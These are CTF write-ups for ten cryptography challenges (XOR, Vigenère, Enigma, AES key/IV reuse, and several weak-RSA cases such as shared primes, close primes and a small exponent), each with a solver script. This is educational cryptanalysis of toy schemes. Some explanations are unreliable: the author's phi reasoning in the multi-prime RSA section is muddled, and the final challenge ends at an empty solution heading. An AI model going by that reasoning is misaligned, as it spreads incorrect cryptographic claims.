Digital Defenders CTF writeups

Cryptography Challenges

1) MOD

1000 pts (Easy)

# chall.py
flag = #######redacted#######
flag = flag.encode()
l = [i%97 for i in flag]
print(l)
# [5, 11, 0, 6, 26, 77, 48, 3, 20, 49, 48, 95, 12, 52, 10, 51, 18, 95, 55, 7, 8, 13, 6, 18, 95, 11, 48, 48, 15,28]

from the challenge script I realized we can just see all printable character's mod value with 97 can compare it with our output

from string import printable
output = [5, 11, 0, 6, 26, 77, 48, 3, 20, 49, 48, 95, 12, 52, 10, 51, 18, 95, 55, 7, 8, 13, 6, 18, 95, 11, 48, 48, 15, 28]
full_data = {}
flag = output
for data in printable:
    full_data[data] = ord(data)%97

for (key,val) in full_data.items():
    if val in output:
        while True:
            try:
                output.index(val)
                flag[output.index(val)] = key
            except ValueError:
                break
print(''.join(flag))

Flag: flag{M0du10_m4k3s_7hings_l00p}

2) X0rbash

1000 pts (easy)

// x0rbash.py
import base64

def affine_cipher(text):
    alphabet = "abcdefghijklmnopqrstuvwxyz"
    rev_alphabet = alphabet[::-1]
    flag = ""
    for char in text.lower():
        if char.isalpha():
            index = alphabet.index(char)
            reversed_char = rev_alphabet[index]
            flag += reversed_char
        elif char =='_':
            flag +='_'
        else:
            flag += char
    return flag

def xor_cipher(text,key):
    encrypted_flag = affine_cipher(text)
    a = encrypted_flag.encode('utf-8')
    b = key.encode('utf-8')
    encrypted_bytes = bytes([a[i] ^ b[i % len(b)] for i in range(len(a))])
    encrypted_flag = base64.b64encode(encrypted_bytes).decode('utf-8')
    return encrypted_flag

text = ???
key = 'zoro' 
xor_cipher(text, key)
// Output.txt
HQYQMAAAHTAAAgYADAc=

Solution

import base64
from string import ascii_lowercase
def decrypt_xor(encrypted_flag:str, key:str):
    encrypted_bytes = base64.b64decode(encrypted_flag.encode('utf-8'))
    first = encrypted_bytes
    second = key.encode()
    decrypted_bytes = bytes([first[i] ^ second[i % len(second)] for i in range(len(first))])
    decrypted_text = decrypted_bytes.decode('utf-8')
    flag = ""
    for c in decrypted_text.lower():
        if c.isalpha():
            flag +=  ascii_lowercase[ascii_lowercase[::-1].index(c)]
        else:
            flag += c
    return flag
inp = 'HQYQMAAAHTAAAgYADAc='
key = 'zoro' 
flag=decrypt_xor(inp, key)
print(flag)

Flag: flag{try_all_angles}

3) Common Primes

// encrypt.py
from Crypto.Util.number import *

modulus_list = [92917019109246520946111919259944727745544542783982355430716972006653222462839194379791358138811158902436580150837272503813213355567643909357402799120779532615133095691214112430279300157639789109680476278143116007958419546850451489904099400377262985350595742313358525673308487492326205442219054566734280849463, 130568212240286377492144613994596695460424714704485915362255855721255382599513965251301247594774250836123472395907469409589689688325774329295661798442186187372959761946857650743912997464565794093976101055331289489952844031378077429339913607083706389410418100948879873793883371819349687078725496909678189694283, 85811324434028990250875422438123814864093618278891295811031083960296969537454874943141970297507657075578669322788763313935112356048335316873984184009613837190173099517058749779303494309026026236321089968145254403129264309610852345955453506183006563596075448244968379981815939543003661119788848975062475811483, 115064079704344776522310714154365077908838161807754414730220894729951712834496200170064037105718681038883888312094754104496216926238977476483481079628965404218112773573213774902089911524937553684498516876841154214074392188918966248250666407599549523072851000357434568048726545499842775450683899565801029780317]

e = 65537
flag = b"flag{######################}"

message = bytes_to_long(flag)
ciphertext = [pow(message, e, modulus_list[i]) for i in range(4)]

obj1 = open("ciphertext.txt",'w')
obj1.write(str(ciphertext))
[50102990983659676456532118998336626298566275706424430458994552738927976035514899272815060220859043267460423871568841683264287197451826914538260516119258455974857015490581796991478795451696572538648516023976342026892818390989204861808890471532620011530172881403660843299850636314853520771410680378269046388979, 63062735312733399115272377665781523909620049393396278217875481172044321868823005121008771362585418539989732098737142696182916661326272933690991574274013474792692346153902605315448224479394509272214823035494404196515602039840715583040873233101718857937643308720258887723155213790751953221485022508776722908176, 21012532989119487685994320012096944672031326405628764341764637084158339159731759975782976921086002536918980515470686487579031434668098781035664554523379069844816135878829479481271369623009517178239457977731843127707429734387519685487766673353534805367092366038203446216878137260145732263202544039734332802880, 80588314679904213046563421774623688623804361141532273922867958399118054926360145609661314227750976446898249302019629717775392252365827200144668586399355175407405184184442457875582355800463146472795911482454838025589962320548696237182967990644968196021551525134861812534741570327275935245035215320582734195904]

Solution

val =[]
for i in modulus_list:
    for cp in modulus_list:
        if i != cp:
            gcd = math.gcd(i ,cp)
            if math.gcd(i ,cp) != 1:
                val.append(tuple([modulus_list.index(i), modulus_list.index(cp), gcd]))
            if i % cp == 0:
                print(i, cp)
                break
print(val)

we can see modulus_list[1] and modulus_list[3] has 13403158103584691654875312162882091389210135273822952869040711113075813663245847693398203004388375426980052336954393712796420264145823062627359516243196819 in common so if we divide the modulus_list[1] and modulus_list[3] with the following common prime we can find the other prime number

p = modulus_list[1]//13403158103584691654875312162882091389210135273822952869040711113075813663245847693398203004388375426980052336954393712796420264145823062627359516243196819
print(p)
q = modulus_list[3]//13403158103584691654875312162882091389210135273822952869040711113075813663245847693398203004388375426980052336954393712796420264145823062627359516243196819
print(q)
# we know 
r = 13403158103584691654875312162882091389210135273822952869040711113075813663245847693398203004388375426980052336954393712796420264145823062627359516243196819
modulus_list[1] = p * r
modulus_list[3] = q * r
p = 9741600541544439688862689706828992686313606094116279597817906239712005616166763464896924040269905590703773822374840730988520935229080150735322260150692457
q = 8584848348059905544996164857566959465195363555980464951249357037740863553129591026072640896380161060909630666075815043355336369503287256957095217705220943

from the following information we can extract both messages i used https://www.dcode.fr/rsa-cipher

Flag: flag{w3_h4v3_s0_much_1n_c0mm0n}

4) Wojtek's Enigma

1000 pts (easy)

We got the following text file

𝑬𝒏𝒔𝒖𝒓𝒆 𝒕𝒉𝒆 𝒄𝒍𝒊𝒆𝒏𝒕'𝒔 𝒔𝒆𝒄𝒖𝒓𝒊𝒕𝒚 𝒂𝒕 𝒂𝒍𝒍 𝒕𝒊𝒎𝒆𝒔

agin{afkkxf_7e3_ib4d}

𝑴𝒐𝒅𝒆𝒍 : 𝑴3  
𝑹𝒆𝒇𝒍𝒆𝒄𝒕𝒐𝒓 : 𝑼𝑲𝑾 𝑩

𝑹𝑶𝑻𝑶𝑹 1 : 𝑽𝑰
𝑷𝒐𝒔𝒊𝒕𝒊𝒐𝒏 : 1𝑨
𝑹𝒊𝒏𝒈 : 2𝑩

𝑹𝑶𝑻𝑶𝑹 2 : 𝑰
𝑷𝒐𝒔𝒊𝒕𝒊𝒐𝒏 : 3𝑪
𝑹𝒊𝒏𝒈 : 4𝑫

𝑹𝑶𝑻𝑶𝑹 3 : 𝑰𝑰𝑰
𝑷𝒐𝒔𝒊𝒕𝒊𝒐𝒏 : 5𝑬
𝑹𝒊𝒏𝒈 : 6𝑭

𝑷𝑳𝑼𝑮𝑩𝑶𝑨𝑹𝑫 : 𝒃𝒒 𝒄𝒓 𝒅𝒊 𝒆𝒋 𝒌𝒘 𝒎𝒕 𝒐𝒔 𝒑𝒙 𝒖𝒛 𝒈𝒉

now i went to cyberchef and changed the following parameters to which i got in the above text file

Here is the recipe link

5) Grandfather cipher

1000 pts (easy)

We got the following files

O8Q2HZE9PCID38QDRL3COL7C3ZS01DVEU8CX01Q6R{WDQ1}4P13001S4Y4UH6W

letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}'
key = ???
flag = ???

def encrypt(plaintext, key):
    
    plaintext = plaintext.upper()
    key = key.upper()
    char_to_val = {char:val for val,char in enumerate(letters)}
    ciphertext = ""

    for i, char in enumerate(plaintext):
        plaintext_val = char_to_val[char]
        key_val = char_to_val[key[i % len(key)]]
        cipher_val = (plaintext_val + key_val) % len(letters)
        cipher_char = letters[cipher_val]
        ciphertext += cipher_char

    return ciphertext

print(encrypt(flag,key))

Solution

After reading for a while online i realized if we know known characters in the ciphertext we can find the flag.

Known Text: F - 5     L - 11     A - 0      G - 6    
Cyphertext: O - 14    8 - 34     Q - 16     2 - 28   
Key:        J - 9     X - 23     Q - 16     W - 22

using cryptill.com

Result here is FlAg{C0nGR4TulATI0nSF0rSuCCesSFULlYBreAkInGTHeviGenereCiPhEXx} but flag format is FLAG{} and in letters there are no small letters so i capitalized

flag: FLAG{C0NGR4TULATI0NSF0RSUCCESSFULLYBREAKINGTHEVIGENERECIPHEXX}

6) Flawless AES

import os
from Crypto.Cipher import AES
from secret import flag

secret = b"This is top secret message. I hope, no one can intercept UwU !!!"

iv1 = os.urandom(16)
iv2 = os.urandom(16)
key = os.urandom(16)
flag = flag + b"\0" * (16 - len(flag) % 16)

cipher = AES.new(iv1, AES.MODE_CBC,key)
ciphertext1 = cipher.encrypt(secret)
cipher = AES.new(key, AES.MODE_CBC,iv2)
ciphertext2 = cipher.encrypt(flag)

with open("encrypted", "wb") as f:
    f.write(iv1)
    f.write(ciphertext1)
    f.write(iv2)
    f.write(ciphertext2)

solution

  1. It defines a variable secret with the value "This is top secret message. I hope, no one can intercept UwU !!!". This message will be encrypted.

  2. It generates two random initialization vectors (IVs) using os.urandom(16). IVs are used to add randomness to the encryption process.

  3. It generates a random key using os.urandom(16). The key is used for encryption and decryption.

  4. It pads the flag variable by adding null bytes (\0) to make its length a multiple of 16 bytes. This is necessary because AES operates on blocks of 16 bytes.

  5. It creates an AES cipher object with the first IV (iv1) and the key (key) in CBC mode.

  6. It encrypts the secret message using the AES cipher created in the previous step, resulting in ciphertext1.

  7. It creates another AES cipher object with the second IV (iv2) and the key (key) in CBC mode.

  8. It encrypts the padded flag using the second AES cipher, resulting in ciphertext2.

  9. It writes the iv1, ciphertext1, iv2, and ciphertext2 to a file named "encrypted" in binary mode.

from Crypto.Cipher import AES

def byte_xor(ba1, ba2):
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

with open('encrypted.bin', 'rb') as f:
    a = f.read()
iv1 = a[:16]
ct1 = a[16:16+64]
iv2 = a[16+64:16+64+16]
ct2 = a[32+64:]
secret = b"This is top secret message. I hope, no one can intercept UwU !!!"
iv = b'\x00' * 16 # empty iv to find key

cipher = AES.new(iv1, AES.MODE_CBC, iv)
pt1 = cipher.decrypt(ct1)
key = byte_xor(pt1, secret)[:16] # this will give iv that was used 
# key = b'\xd2\x02\xee\x98,\x1e5$\x8fY\xaa\xb3\x00\xa4\xbc\xcd'
cipher = AES.new(key, AES.MODE_CBC, iv2)
print(cipher.decrypt(ct2))
  1. It defines a helper function called byte_xor that performs a bitwise XOR operation on two byte strings.

  2. It opens the file named "encrypted" in binary mode and reads its contents into a variable a.

  3. It extracts the first 16 bytes from a and assigns it to iv1. This is the initialization vector (IV) used in the first encryption step.

  4. It extracts the next 64 bytes from a and assigns it to ct1. This is the ciphertext produced by encrypting the secret message in the first encryption step.

  5. It extracts the next 16 bytes from a and assigns it to iv2. This is the IV used in the second encryption step.

  6. It extracts the remaining bytes from a and assigns it to ct2. This is the ciphertext produced by encrypting the padded flag in the second encryption step.

  7. It defines a variable secret with the value "This is top secret message. I hope, no one can intercept UwU !!!". This is the original plaintext secret message used during encryption.

  8. It defines an empty IV (iv) consisting of 16 null bytes.

  9. It creates an AES cipher object with iv1 (the IV used in the first encryption step) and the empty IV (iv) in CBC mode.

  10. It decrypts ct1 using the AES cipher created in the previous step, resulting in pt1 (plaintext of the first encryption step).

  11. It performs a bitwise XOR operation between pt1 and secret and takes the first 16 bytes, which will give us the key used in the second encryption step. This key is then assigned to key.

  12. It creates another AES cipher object with key (the key used in the second encryption step) and iv2 (the IV used in the second encryption step) in CBC mode.

  13. It decrypts ct2 using the AES cipher created in the previous step, resulting in the decrypted version of the padded flag.

  14. It prints the decrypted flag on the standard output.

flag: flag{h3y_y0u_g077It!!}

7) Too close for comfort

1500 pts (medium)

from gmpy2 import next_prime,invert
from Crypto.Util.number import *

flag = "flag{REDACTED}"
flag = bytes_to_long(flag.encode())
p = getPrime(512)
q = next_prime(p)
n = p*q
e = 65537
phi = (p-1)*(q-1)
d = invert(e,phi)
c = pow(flag,e,n)
print("n : ",n)
print("c : ",c)
n :  51262621421762918526093632383370534180768834026547970314343452353598602088230820806033740007328795554570642318252789666763315253509866489972304631274050880096358261400196083773961768871182868182980255954230646365163347738340923164839702959948086049748616395632937734313167798374046524562505972965628250476311
c :  36352708125237430764760060909529418780804291559038503125980629255501905387145728377360035341308086330195140200675778521280834125163178872194321306790556273663838697235094376480117986175292388705005403870523760260925627224110383230794735856903192310702009799631105903896037080675097289706993777714380538272695

Solution

We can see p, q primes are very near so i used this script which will find square root of n and increasing sq till its a multiple of n

from gmpy2 import iroot
n = 51262621421762918526093632383370534180768834026547970314343452353598602088230820806033740007328795554570642318252789666763315253509866489972304631274050880096358261400196083773961768871182868182980255954230646365163347738340923164839702959948086049748616395632937734313167798374046524562505972965628250476311
sq,b = iroot(n,2)
while n%sq != 0:
    sq += 1
p = sq
q = n // sq
print(p)
print(q)
p = 7159791995705106971518692600097404910939050335478820485341939449925205880647134325454070146449825578592400158599249475957026040350418341470093545761250817
q = 7159791995705106971518692600097404910939050335478820485341939449925205880647134325454070146449825578592400158599249475957026040350418341470093545761250583

Flag: flag{Cl0s3_pr!m3s_c4n_3as!1y_b3_s01v3d_us!ng_f3rm47}

8) Common Thread

1500 pts (medium)

Reference

from Crypto.Util.number import getPrime,long_to_bytes,bytes_to_long as b2l
pt = b2l(b'############REDACTED#############')

e1 = 3
e2 = 65537

p = getPrime(512)
q = getPrime(512) 
n = p * q
print("p = ",p)
print("q = ",q)
print("n = ",n)

ct1 = pow(pt,e1,n)
ct2 = pow(pt,e2,n)

print("ct_1 = ",ct1)
print("ct_2 = ",ct2)
n : 82529003854107449655882828779306680261322514291578176914855335660196316136020891330282977862392781955576003908276918336232496428394902701712865050846177919432150024221333248869182819160724004027687615316604524956477726853341471729490579781226904750203267774815266814993007700799909440327200157743001636208979
ct_1 :  1668144786170996657595999258788854859050046938776760313024051039263047123771288332894513993152851393510238898052607710731359323557904957777106934584412944237025988585303236848198011801305784092763134546736133138274497511627826158781621349
ct_2 :  74649112917012996389389688584539047038814117242787890422412732444940527114465444367380737027429811175792775942029514501984215700751646085548563043007478959667954572646871197479085745750752565780467426634242197633017759627505025163899052769039873499225975956547197603101339946515705697532653196551891380383692

solution

The decryption code attempts to recover the original plaintext (pt) from the given ciphertexts (ct_1 and ct_2) using the knowledge of the public modulus (n) and the public exponents (e1 and e2).

  1. It uses the iroot function from gmpy2 to compute the integer cube root of ct_1. The cube root is taken because the public exponent e is set to 3.

  2. It extracts the first element of the tuple returned by iroot (the integer cube root), and assigns it to pt.

  3. It converts pt from a long integer to its corresponding byte representation using long_to_bytes function from Crypto.Util.number.

  4. It prints the resulting flag, which represents the recovered plaintext.

from Crypto.Util.number import *
from gmpy2 import iroot
n = 82529003854107449655882828779306680261322514291578176914855335660196316136020891330282977862392781955576003908276918336232496428394902701712865050846177919432150024221333248869182819160724004027687615316604524956477726853341471729490579781226904750203267774815266814993007700799909440327200157743001636208979
ct_1 =  1668144786170996657595999258788854859050046938776760313024051039263047123771288332894513993152851393510238898052607710731359323557904957777106934584412944237025988585303236848198011801305784092763134546736133138274497511627826158781621349
e= 3
flag_bytes = iroot(ct_1,e)[0]
flag = long_to_bytes(flag_bytes)
print(flag)

Flag: flag{b3z0u7_l0v3s_c0mm0n_m06u1u5}

9) IS IT AN RSA???

2500 pts (HARD)

This very special challenge I really like this because it cleared all my basics for remaining RSA challenges and I got first blood !!.

from Crypto.Util.number import getPrime

p = getPrime(1024)
q = getPrime(1024)
r = getPrime(1024)
s = getPrime(1024)

m = #REDACTED
n1 = p*q
n2 = q*r
n3 = #REDACTED
e = 65537
c = pow(m,e,n3)

with open("cipher.txt","w") as f1:
    f1.write("n1 : {n1}\nn2 : {n2}\nn3 : {n3}\nc : {c}")
n1 : 20912910050796031830809673977674455857393320096113471000108476598239671823290454539099505006341181927803396230002338735454401646406475912688218923104360101493420587464070273323527567266113085620629777182230272649016079034035826193606941717409911127293033937511127232622025383267748018774971415071232112682518085465253677786075882388751252903758885822335201048783033607059125114129721962237031848160257840042749604701661351104632197268101338356585152993200499847224148428276285280947713025841594472924459330814475796519691496598976366224681227183057944078367988646669983887511386712300733007180288701194351474709451461
n2 : 23872426932563883914901983231692363805983070520331002447445050715524972251586497800571756559464721924549362084406494547280486962487511746912828373497887521440699329723182185403037889716533745183479525650184983301161183195860766723642989068462832335949332139360177109353246709886130607275469616829829377688389101875591693039721270258491641736695891769279331901855145276977713307839426340839804405968558066844316403038985679295562342379505784575994967680959855066641348711021844621460984249502783862934341287142019016182597959562535015183590583942937215422158669723160244494194242460279136853725071235733665302988209581
n3 : 623265548625163278510022487995567876890926533209308999370330362371439285305085412615456709572300610469764709333529406834419638261601983277055730634365116268494851890297910828294958809680835145062374334660144925073817009153363194356277972003823429825090687577884104803772423494559660272965942415656846093421497718789399057923632452460959329004642659416401533494734674341297334092185269456244649167294148756998182926381486263680657018086861695000390477334298652089510062786091483474947031402375475934819658393231455628207075109607210571629964456581753334227077161648968974473732063297259193869372494140348513893186441054530081786588494978099820939294808602649303543807725972018035561286998003180524519740327192105076194250531595088678296559426905737604898487332506263768448008370290928316965877252657591981473292067631778780063949433186833597022736100596242927881445173397533719063681933023690642498287147012288569648280776237679667255272112710330887407771683145839111961602721160726180735195355237690249090722802712929899425175942561146908593585556441325499980035838317170354479081502340112091530897868855495757738933924256969879209548844098392755956340797905688458571159105633325558683059168331041150880160341776229718860612253277689383592135954817820356993637153693807088618971309357852420077553044453663264289081544406697440268577543019319406136538822420767680430176862831205443049624222048932334457406735745145522789026912573894925384649250021447001861056286156729731381118654052424555045194332265401547466687129069693348919729472648603604207705967197358747234395578381797487161842286311601521051614443136409426549673744994567186673259410264138756018328704519923828130219209915417334306742146661470932320976746278374554809658219190409161811156640039813265447320394905627416336825499242467352625072411979139565787153117666316266128433664263573908420103316680637158744227670026017618721163233170430817916291320917442601841215726738107837455010696286492216875918830651149525869473057392158941139946159965059088434640307636983388935709069356519776673061113986935201719486791353927766209797128863955945018524614009681587930678131170189431123293320603504946629
c : 300765675631036702440523739351154897383328322310909427639150819891961020790689307369308441255403094732423274431969874729576538743620119420735510045406001994753894520763272198722820558323777418995706994461414667818537719413094635232811184202577172511003889024565202258024532325841442524255115720343283468219385208657431547944302686466963643630617734585172811247868088027325004294939532871542424327865040876468978611871974999372691163464294756117812578408540739824709677959432355997425868877804980417752642107595057064248851537732058086278189683557116314198234770298192400203155340277871276718988519131085372705342068348850422546040347545294934795160228629715928205702963059053926678039307251970985067503945484142259384931005122474633734569350468028096545310923922736277126500494960558901118391826970750599017736592975695396953268648137731306315298363276952213929906449212672277952655169301409708326657804508222562820866018885085111020645767177241778007313870356313737766211807671684466236765782369978681732347669091529835873174707088943878081394207743832495916408484710683636315373611964455948879147334744259927601718737189225141948942454372275019801444709829300827100970958900715300313378107547518939050666002906010324615404445192022240280315907630458853581194336155758396621241419237953860938727690588816954526361793957917189783860306310822734347040467227916427155488984237263951334309867259192368643799454225026080500451877047304229273388998226482371462690188525788808790286231420310667434427953649009749851835345643678202026126838640308587587491539165176588320928304857832498694961323661593475151903835366820810227102061312419087294682432081917413904639688299669590743900799344326135311955543328076735324152278029826551922472334486502065676931796120276566197522523087325802268044548699688695109433084891340455120679761061711197620052128458728329181321749503305859230167473247286327332162638070885298897162507611749649393208158266253582200354380719427286181196920627292677984198089607982851981186674993709576820550096457875619124681598635713218705170000750192136641170764054753456395228025468183484945388029949429676193689771416723243948217122509236756623

Solution

From the code we can realize that n1, n2 are multiple of 2 primes but n3 may be multiple of more than 2 primes

If we GCD two numbers we will get a greatest common number which can divide both

now if i GCD n1, n2 we can get value of q

from decimal import Decimal, getcontext
from Crypto.Util.number import long_to_bytes

n1 = 20912910050796031830809673977674455857393320096113471000108476598239671823290454539099505006341181927803396230002338735454401646406475912688218923104360101493420587464070273323527567266113085620629777182230272649016079034035826193606941717409911127293033937511127232622025383267748018774971415071232112682518085465253677786075882388751252903758885822335201048783033607059125114129721962237031848160257840042749604701661351104632197268101338356585152993200499847224148428276285280947713025841594472924459330814475796519691496598976366224681227183057944078367988646669983887511386712300733007180288701194351474709451461
n2 = 23872426932563883914901983231692363805983070520331002447445050715524972251586497800571756559464721924549362084406494547280486962487511746912828373497887521440699329723182185403037889716533745183479525650184983301161183195860766723642989068462832335949332139360177109353246709886130607275469616829829377688389101875591693039721270258491641736695891769279331901855145276977713307839426340839804405968558066844316403038985679295562342379505784575994967680959855066641348711021844621460984249502783862934341287142019016182597959562535015183590583942937215422158669723160244494194242460279136853725071235733665302988209581
n3 = 623265548625163278510022487995567876890926533209308999370330362371439285305085412615456709572300610469764709333529406834419638261601983277055730634365116268494851890297910828294958809680835145062374334660144925073817009153363194356277972003823429825090687577884104803772423494559660272965942415656846093421497718789399057923632452460959329004642659416401533494734674341297334092185269456244649167294148756998182926381486263680657018086861695000390477334298652089510062786091483474947031402375475934819658393231455628207075109607210571629964456581753334227077161648968974473732063297259193869372494140348513893186441054530081786588494978099820939294808602649303543807725972018035561286998003180524519740327192105076194250531595088678296559426905737604898487332506263768448008370290928316965877252657591981473292067631778780063949433186833597022736100596242927881445173397533719063681933023690642498287147012288569648280776237679667255272112710330887407771683145839111961602721160726180735195355237690249090722802712929899425175942561146908593585556441325499980035838317170354479081502340112091530897868855495757738933924256969879209548844098392755956340797905688458571159105633325558683059168331041150880160341776229718860612253277689383592135954817820356993637153693807088618971309357852420077553044453663264289081544406697440268577543019319406136538822420767680430176862831205443049624222048932334457406735745145522789026912573894925384649250021447001861056286156729731381118654052424555045194332265401547466687129069693348919729472648603604207705967197358747234395578381797487161842286311601521051614443136409426549673744994567186673259410264138756018328704519923828130219209915417334306742146661470932320976746278374554809658219190409161811156640039813265447320394905627416336825499242467352625072411979139565787153117666316266128433664263573908420103316680637158744227670026017618721163233170430817916291320917442601841215726738107837455010696286492216875918830651149525869473057392158941139946159965059088434640307636983388935709069356519776673061113986935201719486791353927766209797128863955945018524614009681587930678131170189431123293320603504946629
q = math.gcd(n1, n2)
print(q)
# 167684085934635111138105189988179080219157811889011166123666499425768450437469943386621848048488343683888778929689860701092367929913492900054874870222429427988420144341251557765223160805932679793036379398755587186757197200753836874710801303907347858239825996765304285670427266939478508125758879660649717702749

we know q if we divide q with n1 and n2we will find p and q

p = n1//q
r = n2//q

you would be wondering why we have used // instead of / When working with cryptographic operations involving large integers, precision and exactness are crucial. Regular division (/) in Python performs floating-point division and returns a floating-point result with decimal places. This floating-point representation may introduce rounding errors and imprecisions, which can lead to incorrect results when dealing with cryptographic operations.

By using integer division (//), Python ensures that the division operation returns an integer result without any decimal places or rounding errors. This is essential in cryptography, where precise calculations are required to maintain the integrity and correctness of cryptographic algorithms and protocols.

we don't know multiplication of which numbers leads to n3 but we know randomly generated p, q, r in these p, q, r we can check which of the following multiplied to get n3

print(math.gcd(n3, p))
print(math.gcd(n3, q))
print(math.gcd(n3, r))

which means all p, q, r are in n3 so we can conclude that n3 = p*q*r*X now let's find X

X = n3//(q*p*r)

now lets check whether X contains either p, q, r

print(math.gcd(X, p))
print(math.gcd(X, q))
print(math.gcd(X, r))

Now we can see X has p, r so n3 = (p**2)*q*(r**2)*X2

X2 = n3//((q*p*r)*(p*r))

print(math.gcd(X2, p))
print(math.gcd(X2, q))
print(math.gcd(X2, r))

Again X2 has p and r, Now n3 = (p**3)*q*(r**2)*X3

X3 = n3//((q*p*r)*(p*r)*p)

now if we find GCD with p, q, r the we will get output to be 1,1,1

This means only multiple of s is present in X3

to verify is it multiple of s we can just do this

print(((q*p*r)*(p*r)*p)*X3 == n3)

It prints True so X3 is nothing but s

we know p, q, r, s we need to just find the flag

from math import gcd


def egd(e, phi):
    k = 1
    while (1+k*phi)%e != 0:
        k += 1
    return (1+k*phi)//e
    
n1 = 20912910050796031830809673977674455857393320096113471000108476598239671823290454539099505006341181927803396230002338735454401646406475912688218923104360101493420587464070273323527567266113085620629777182230272649016079034035826193606941717409911127293033937511127232622025383267748018774971415071232112682518085465253677786075882388751252903758885822335201048783033607059125114129721962237031848160257840042749604701661351104632197268101338356585152993200499847224148428276285280947713025841594472924459330814475796519691496598976366224681227183057944078367988646669983887511386712300733007180288701194351474709451461
n2 = 23872426932563883914901983231692363805983070520331002447445050715524972251586497800571756559464721924549362084406494547280486962487511746912828373497887521440699329723182185403037889716533745183479525650184983301161183195860766723642989068462832335949332139360177109353246709886130607275469616829829377688389101875591693039721270258491641736695891769279331901855145276977713307839426340839804405968558066844316403038985679295562342379505784575994967680959855066641348711021844621460984249502783862934341287142019016182597959562535015183590583942937215422158669723160244494194242460279136853725071235733665302988209581
n3 = 623265548625163278510022487995567876890926533209308999370330362371439285305085412615456709572300610469764709333529406834419638261601983277055730634365116268494851890297910828294958809680835145062374334660144925073817009153363194356277972003823429825090687577884104803772423494559660272965942415656846093421497718789399057923632452460959329004642659416401533494734674341297334092185269456244649167294148756998182926381486263680657018086861695000390477334298652089510062786091483474947031402375475934819658393231455628207075109607210571629964456581753334227077161648968974473732063297259193869372494140348513893186441054530081786588494978099820939294808602649303543807725972018035561286998003180524519740327192105076194250531595088678296559426905737604898487332506263768448008370290928316965877252657591981473292067631778780063949433186833597022736100596242927881445173397533719063681933023690642498287147012288569648280776237679667255272112710330887407771683145839111961602721160726180735195355237690249090722802712929899425175942561146908593585556441325499980035838317170354479081502340112091530897868855495757738933924256969879209548844098392755956340797905688458571159105633325558683059168331041150880160341776229718860612253277689383592135954817820356993637153693807088618971309357852420077553044453663264289081544406697440268577543019319406136538822420767680430176862831205443049624222048932334457406735745145522789026912573894925384649250021447001861056286156729731381118654052424555045194332265401547466687129069693348919729472648603604207705967197358747234395578381797487161842286311601521051614443136409426549673744994567186673259410264138756018328704519923828130219209915417334306742146661470932320976746278374554809658219190409161811156640039813265447320394905627416336825499242467352625072411979139565787153117666316266128433664263573908420103316680637158744227670026017618721163233170430817916291320917442601841215726738107837455010696286492216875918830651149525869473057392158941139946159965059088434640307636983388935709069356519776673061113986935201719486791353927766209797128863955945018524614009681587930678131170189431123293320603504946629
c = 300765675631036702440523739351154897383328322310909427639150819891961020790689307369308441255403094732423274431969874729576538743620119420735510045406001994753894520763272198722820558323777418995706994461414667818537719413094635232811184202577172511003889024565202258024532325841442524255115720343283468219385208657431547944302686466963643630617734585172811247868088027325004294939532871542424327865040876468978611871974999372691163464294756117812578408540739824709677959432355997425868877804980417752642107595057064248851537732058086278189683557116314198234770298192400203155340277871276718988519131085372705342068348850422546040347545294934795160228629715928205702963059053926678039307251970985067503945484142259384931005122474633734569350468028096545310923922736277126500494960558901118391826970750599017736592975695396953268648137731306315298363276952213929906449212672277952655169301409708326657804508222562820866018885085111020645767177241778007313870356313737766211807671684466236765782369978681732347669091529835873174707088943878081394207743832495916408484710683636315373611964455948879147334744259927601718737189225141948942454372275019801444709829300827100970958900715300313378107547518939050666002906010324615404445192022240280315907630458853581194336155758396621241419237953860938727690588816954526361793957917189783860306310822734347040467227916427155488984237263951334309867259192368643799454225026080500451877047304229273388998226482371462690188525788808790286231420310667434427953649009749851835345643678202026126838640308587587491539165176588320928304857832498694961323661593475151903835366820810227102061312419087294682432081917413904639688299669590743900799344326135311955543328076735324152278029826551922472334486502065676931796120276566197522523087325802268044548699688695109433084891340455120679761061711197620052128458728329181321749503305859230167473247286327332162638070885298897162507611749649393208158266253582200354380719427286181196920627292677984198089607982851981186674993709576820550096457875619124681598635713218705170000750192136641170764054753456395228025468183484945388029949429676193689771416723243948217122509236756623
q = gcd(n1, n2)
p = n1 // q
r = n2//q
s = n3//((q*p*r)*(p*r)*p)
e = 65537
v = ['(p-1)*(q-1)', '(p-1)*(r-1)', '(p-1)*(s-1)', '(q-1)*(r-1)', '(q-1)*(s-1)', '(r-1)*(s-1)']
for phi in v:
    for _ in [n1,n2]:
        try:
            d = egd(e, eval(phi))
            pt = hex(pow(c, d, _))[2:]
            bt = bytes.fromhex(pt)
            asciis = bt.decode("ASCII")
            print(f'pt: {asciis}')
            print(phi)
            
        except UnicodeDecodeError:
            pass
        except ValueError:
            pass

Damn its just waste of time finding value of s but I want to know why only p and q can decrypt message i realized after searching

The reason both phi = (p-1)*(q-1) and phi' = (q-1)*(r-1) work in the decryption process is due to the properties of the RSA algorithm and the mathematical relationships between the factors.

In RSA, the private exponent d is calculated as the modular multiplicative inverse of the public exponent e modulo phi. In other words, d satisfies the equation e * d ≡ 1 (mod phi).

When you calculate phi as (p-1)*(q-1) and phi' as (q-1)*(r-1), you are essentially calculating the Euler's totient function for both n3 and n1.

Since phi and phi' are derived from the prime factors of n1, they have the same value as long as the prime factors are the same, regardless of the specific arrangement of the factors. In your case, n3 = s*((q*p*r)*(p*r)*p), the factors are still p, q, and r, so both phi and phi' will yield the same value.

correct me if iam wrong!!

even my reaction was same as flag is it really RSA!!

flag: flag{1s_17_r34lly_an_RSA???}

10) Treasure count

2500 pts (HARD)

import os
from Crypto.Cipher import AES

KEY = 

class CustomCounter(object):
    def __init__(self, value=os.urandom(16), step_up=False):
        self.value = value.hex()
        self.step = 1
        self.stup = step_up

    def increment(self):
        if self.stup:
            self.new_value = hex(int(self.value, 16) + self.step)
        else:
            self.new_value = hex(int(self.value, 16) - self.stup)
        self.value = self.new_value[2:]
        return bytes.fromhex(self.value.zfill(32))

    def __repr__(self):
        self.increment()
        return self.value


def encrypt():
    cipher = AES.new(KEY, AES.MODE_ECB)
    ctr = CustomCounter()
    output = []
    with open("//home//disco//Desktop//flag.png", 'rb') as file:
        block = file.read(16)
        while block:
            keystream = cipher.encrypt(ctr.increment())
            xored = [x^y for x, y in zip(block, keystream)]
            output.append(bytes(xored).hex())
            block = file.read(16)

    return {"encrypted": ''.join(output)}

with open('/home/disco/Desktop/chall.txt','w') as chall:
    chall.write(encrypt()['encrypted'])

Solution

